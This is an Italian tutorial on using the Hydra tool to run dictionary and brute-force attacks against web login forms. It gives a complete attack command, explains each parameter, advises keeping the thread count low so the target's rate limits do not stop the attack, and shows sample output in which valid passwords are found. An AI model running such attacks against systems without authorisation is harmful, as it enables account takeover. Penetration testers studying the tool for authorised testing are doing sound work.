Hydra è il tool per eccellenza quanto si tratta di effettuare attacchi a password e brute force. È molto potente e supporta diversi protocolli, tra cui:
FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, POP3, POSTGRES, RDP, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Telnet, VMware-Auth, VNC eXMPP.
In questa piccola guida vedremo come utilizzare Hydra per attaccare form html e sferrare attacchi brute force e dizionario su login web.
Questo software è gratuito ed è inserito nelle principali distribuzioni Linux based dedicate al penetration test. Tra queste citiamo Backtrack 5, Kali Linux e BackBox inoltre è presente anche in vari repository di diverse distribuzioni. Ad esempio per installare Hydra su distro Debian like come Ubuntu bastano pochi comandi:
sudo apt-get update
sudo apt-get install hydra
Su Archlinux dovremo utilizzare i repository non ufficiali e potremo installare hydra con il seguente comando:
yaourt -Sy hydra
Ora che abbiamo Hydra possiamo provare ad effettuare un attacco bruteforce ad un form HTML. Un esempio di form di login potrebbe essere il seguente:
<form name="login" action="login.php" method="post">
Username:
<input type="text" name="user">
Password:
<input type="password" name="password">
</form>
In questo form non vi è nessun controllo CAPTCHA quindi sarà possibile utilizzare Hydra per effettuare un attacco dizionario/brute force.
L'attacco di Hydra su form html vuole in input alcuni parametri obbligatori:
- metodo HTTP ( nel nostro caso e nella maggior parte dei casi POST);
- l'indirizzo IP del server da attaccare;
- url della pagina che accetta le richieste;
- parametri del form;
- la risposta in caso di insuccesso dell'host;
- un file contente gli user;
- un file contente le password;
Un esempio di comando per eseguire l'attacco è il seguente:
hydra IP/SERVER http-form-post "/login.php:user=^USER^&pass=^PASS^:Errore" -L users.txt -P pass.txt -t 5 -w 60 -o output.txt
- Il primo input di hydrà sarà l'IP oppure l'indirizzo del server web;
- Il secondo parametro indica il metodo con cui verrà effettuata la richiesta web;
Nel nostro caso sarà una richiesta di tipo POST e sarà indicata con il seguente parametro "http-form-post". Se doveste effettuare l'attacco ad un form HTTPS bastareà aggiungere ad http la s. Ad esempio:
https-form-post
Per le richieste GET basterà sostituire la parola POST con la parola GET. Ad esempio:
http-form-get
Il terzo parametro indica la pagina a cui effettuare la richiesta POST e l'input per il form. La pagina a cui effettuare la richiesta sarà seguita da altre stringhe con la seguente struttura
(due punti)PARAMETRO_DI_INPUT=^USER^&PARAMETRO_DI_INPUT_N=^PASS^:
(due punti)MESSAGGIO_DI_ERRORE_QUANDO_IL_LOGIN_È_ERRATO
Nel nostro esempio la stringa è definita nel seguente modo:
"/login.php:user=^USER^&password=^PASS^:Errore"
- Pagina di richiesta: login.php
- Parametri del form: user=^USER^&pass=^PASS^
Messaggio di errore nella pagina quando il login è errato: Errore
- Il quarto e quinto parametro indicano i file contenenti gli username e le passwords che hydra andrà a provare sul form http.
- Il sesto parametro indica quanti thread/ richieste simultane che hydra effettuerà sul form di login.
Nel mio caso: -t 5. Io sconsiglio un numero maggiore a 5. Molti sistemi individuano chi effettua più di N richieste e rifiutano le connessioni, mandando in timeout Hydra e facendo terminare l'attacco dizionario.
Il settimo argomento dato impasto ad Hydra è il timeout. Impostare un valore troppo basso potrebbe far terminare l'attacco dizionario per un finto "server timeout". A volte alcuni server si rallentano. A sua volta impostare un timeout troppo altro potrebbe fare impiegare ore/mesi/anni al nostro Hydra. Un valore massimo di timeout secondo me è 60 secondi.
-w 60
L'ultimo argomento definisce su quale file sarà scritto l'output di Hydra.
-o output.txt
Ho notato che se impostiamo questa opzione non avremo l'output colorato sul terminale.
Un esempio di output su Backbox:
Hydra v7.4.2 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-06-05 15:39:25
[DATA] 2 tasks, 1 server, 2 login tries (l:2/p:1), ~1 try per task
[DATA] attacking service http-post-form on port 80
[ATTEMPT] target clshack***** - login "admin" - pass "defaultpw" - 1 of 2 [child 0]
[ATTEMPT] target clshack***- login "admin2" - pass "defaultpw" - 2 of 2 [child 1]
[80][www-form] host: 80.***9 login: admin2 password: defaultpw
[80][www-form] host: 80.2***79 login: admin password: defaultpw
1 of 1 target successfully completed, 2 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-06-05 15:39:26
Gli argomenti che ho passato al comando ad hydra non sono gli unici possibili. Hydra è un tool open source e sviluppato da diverse persone, questo lo rende molto potente e con molte funzioni utili. Per visualizzare tutti i possibili argomenti supportati da Hydra consiglio di digitare questo comando:
hydra -h
Per chi non amasse utilizzare Hydra da terminale ricordo che esiste anche una versione con le gtk.